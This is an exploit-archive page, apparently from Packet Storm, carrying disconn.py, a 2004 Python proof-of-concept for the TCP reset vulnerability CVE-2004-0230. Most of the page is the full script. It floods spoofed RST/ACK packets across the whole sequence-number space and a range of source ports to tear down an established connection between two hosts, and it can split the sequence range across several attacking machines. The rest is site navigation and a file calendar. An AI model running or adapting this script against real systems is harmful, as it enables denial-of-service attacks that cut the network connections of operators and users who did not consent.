all things security

disconn.py

disconn.py
Posted Apr 28, 2004
Authored by Michael Gschwandtner | Site anyplay.tznetz.com

Sample proof of concept exploit that demonstrates the TCP vulnerability discovered by Paul A. Watson. Python version.

tags | exploit, tcp, proof of concept, python
advisories | CVE-2004-0230
MD5 | 46637e58111353af9ab2dffa5ac6e5a3

disconn.py

Change Mirror Download
#!/usr/bin/python
#
# Version: 1.1
# Copyright 2004 r3d5un
#
# disconn.py is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# disconn.py is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with disconn.py; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# Version 1.1 changes:
# -se option added (Sequence End). This allows the
# user to specify an upper sequnece number, and thus
# the distribution to more clients.
#
# i.e 4 Hosts 0-1000000000 1000000001-2000000000
# 2000000001-3000000000 3000000001-4294967295
#
#
#

import btk
import sys
import string

def cmdParser(args):
pos = 1
quiet = False
seq = 0
maxseqnum = 4294967295
win = 8000
running = True
while running:
running = False
if args[pos] == "-s":
try:
seq = long(args[pos+1])
pos = pos + 2
running = True
except:
pos = pos + 1
if args[pos] == "-se":
try:
maxseqnum = long(args[pos+1])
pos = pos + 2
running = True
except:
pos = pos +1
elif args[pos] == "-w":
try:
win = long(args[pos+1])
pos = pos + 2
running = True
except:
pos = pos + 1

elif args[pos] == "-q":
quiet = True
running = True
pos = pos + 1

dstip = args[pos]
dstport = int(args[pos+1])
srcip = args[pos+2]
tmp = string.split(args[pos+3],":")
try:
srcport1 = int(tmp[0])
srcport2 = int(tmp[1])
except:
srcport1 = srcport2 = int(tmp[0])

return dstip,dstport,srcip,srcport1,srcport2,seq,maxseqnum,win,quiet



try:
args = sys.argv
dstip,dstport,srcip,srcport1,srcport2,seqnum,maxseqnum,win,quiet = cmdParser(args)

if not quiet:
print "Attacking " + dstip + " <--> " + srcip

packet = btk.btk()
packet.protocol(btk.TCP)
packet.flags(btk.RST | btk.ACK)

i = seqnum
k = 0
while i < maxseqnum:
packet.options(seq=long(i))
packet.options(ack=long(i))
for p in range (srcport1, srcport2+1):
packet.send(dstip,dstport,srcip,p)
k=(k+1)%1000
if k == 0:
if not quiet:
print "1000 Packets sent (seqnum="+str(i)+")"
i = i + win
except:
print "Usage: disconn.py [-q] [-s <seqnum>] [-se <endseqnum>] [-w <windowsize>] <dst.ip> <dst.port> <src.ip> <src.port>\n"

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close